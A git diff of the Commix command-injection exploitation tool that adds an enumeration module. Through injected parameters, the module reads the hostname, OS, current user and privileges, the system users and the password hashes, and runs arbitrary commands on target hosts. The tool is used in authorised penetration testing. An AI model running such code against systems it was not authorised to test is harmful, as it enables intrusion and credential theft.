technique. +""" +def use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + settings.print_data_to_stdout(settings.END_LINE.CR) + message = "It seems that you don't have permissions to " + message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + if not menu.options.web_root: + message += " You are advised to rerun with option '--web-root'." + while True: + message = message + settings.END_LINE.LF + "Do you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " + tmp_upload = common.read_input(message, default="Y", check_batch=True) + if tmp_upload in settings.CHOICE_YES: + exit_loops = True + settings.TEMPFILE_BASED_STATE = True + call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + if call_tfb != False: + return True + else: + if no_result == True: + return False + else: + return True + elif tmp_upload in settings.CHOICE_NO: + break + elif tmp_upload in settings.CHOICE_QUIT: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + else: + common.invalid_option(tmp_upload) + pass + # continue + +""" +Set time relative timesec +""" +def time_relative_timesec(timesec): + if settings.TIME_RELATIVE_ATTACK and settings.TIMESEC < 1: + timesec = 1 + else: + timesec = settings.TIMESEC + return timesec + +""" +Export the time relative injection results +""" +def time_relative_export_injection_results(cmd, separator, output, check_exec_time): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if output != "" and check_exec_time != 0 : + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_exec_time)) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # settings.print_data_to_stdout(settings.print_output(output)) + else: + # Check for separator filtration on target host. + if output != False : + err_msg = "It seems that '" + cmd + "' command could not return " + err_msg += "any output due to '" + separator + "' filtration on target host. " + err_msg += "To bypass that limitation, use the '--alter-shell' option " + err_msg += "or try another injection technique." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Check for invalid provided command. + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8c58b4af56..c4bb2ad3ea 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -41,6 +41,8 @@ """ def basic_level_checks(): + settings.LOAD_SESSION = None + settings.TIME_RELATIVE_ATTACK = False settings.SKIP_CODE_INJECTIONS = None settings.SKIP_COMMAND_INJECTIONS = None settings.IDENTIFIED_COMMAND_INJECTION = False @@ -55,7 +57,7 @@ def check_for_stored_sessions(url, http_request_method): if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if session_handler.applied_techniques(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) - menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES + # menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: settings.LOAD_SESSION = True @@ -323,9 +325,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + info_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -358,12 +359,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" + if menu.options.web_root and not settings.SESSION_APPLIED_TECHNIQUES and not "f" in menu.options.tech: + if not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" + if checks.procced_with_file_based_technique(): + menu.options.tech = "f" classic_command_injection_technique(url, timesec, filename, http_request_method) dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) @@ -495,7 +495,7 @@ def define_check_parameter(found, i, url): check_parameters.append(check_parameter) checks.testable_parameters(url, check_parameters, header_name) - + for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: @@ -523,8 +523,9 @@ def define_check_parameter(found, i, url): counter += 1 break else: + # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: # Check for session file check_for_stored_sessions(url, http_request_method) @@ -535,10 +536,10 @@ def define_check_parameter(found, i, url): """ def cookie_injection(url, http_request_method, filename, timesec): - # Cookie Injection cookie_value = menu.options.cookie if cookie_value: settings.COOKIE_INJECTION = True + # Cookie Injection header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py new file mode 100755 index 0000000000..7771eb9c4d --- /dev/null +++ b/src/core/injections/controller/enumeration.py @@ -0,0 +1,535 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import sys +from src.utils import logs +from src.utils import menu +from src.utils import common +from src.utils import settings +from src.utils import session_handler +from src.core.requests import requests +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Powershell's version number enumeration (for Windows OS) +""" +def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + _ = False + cmd = settings.PS_VERSION + if not settings.TIME_RELATIVE_ATTACK and alter_shell: + cmd = checks.escape_single_quoted_cmd(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + ps_version = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + ps_version = "".join(str(p) for p in ps_version) + session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) + else: + ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_ps_version(ps_version, filename, _) + +""" +Hostname enumeration +""" +def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.HOSTNAME = settings.WIN_HOSTNAME + cmd = settings.HOSTNAME + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_hostname(shell, filename, _) + +""" +Retrieve system information +""" +def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS + cmd = settings.RECOGNISE_OS + if not settings.TIME_RELATIVE_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: + cmd = "cmd /c " + cmd + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + target_os = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + target_os = "".join(str(p) for p in target_os) + session_handler.store_cmd(url, cmd, target_os, vuln_parameter) + else: + target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if target_os: + if not settings.TIME_RELATIVE_ATTACK: + target_os = "".join(str(p) for p in target_os) + if settings.TARGET_OS != settings.OS.WINDOWS: + cmd = settings.DISTRO_INFO + if not settings.TIME_RELATIVE_ATTACK: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + distro_name = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + distro_name = "".join(str(p) for p in distro_name) + if len(distro_name) != 0: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + session_handler.store_cmd(url, cmd, target_os, vuln_parameter) + else: + target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_RECOGNISE_HP + else: + cmd = settings.RECOGNISE_HP + if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + target_arch = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + target_arch = "".join(str(p) for p in target_arch) + session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) + else: + target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + else: + target_arch = None + checks.print_os_info(target_os, target_arch, filename, _) + +""" +The current user enumeration +""" +def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.CURRENT_USER = settings.WIN_CURRENT_USER + cmd = settings.CURRENT_USER + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + cu_account = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + cu_account = "".join(str(p) for p in cu_account) + session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) + else: + cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user(cu_account, filename, _) + +""" +Check if the Current user is privileged. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user_privs(shell, filename, _) + +""" +System users enumeration +""" +def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + cmd = settings.SYS_USERS + _ = False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_SYS_USERS + if settings.TIME_RELATIVE_ATTACK: + cmd = cmd + settings.WIN_REPLACE_WHITESPACE + if alter_shell: + cmd = checks.escape_single_quoted_cmd(cmd) + if not settings.TIME_RELATIVE_ATTACK: + cmd = checks.add_new_cmd(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + try: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + except TypeError: + sys_users = "" + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_users = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + sys_users = "".join(str(p) for p in sys_users) + session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) + else: + sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) + +""" +System passwords enumeration +""" +def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + if sys_passes == False: + sys_passes = "" + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_passes = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) + else: + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _, alter_shell) + +""" +Single os-shell execution +""" +def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + + cmd = menu.options.os_cmd + checks.print_enumenation().print_single_os_cmd_msg(cmd) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + if settings.TIME_RELATIVE_ATTACK: + _ = True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_single_os_cmd(cmd, shell, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + # Check if PowerShell is enabled. + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: + checks.ps_check() + + if menu.options.ps_version and settings.PS_ENABLED == None: + if not checks.ps_incompatible_os(): + checks.print_enumenation().ps_version_msg() + powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.hostname: + checks.print_enumenation().hostname_msg() + hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, 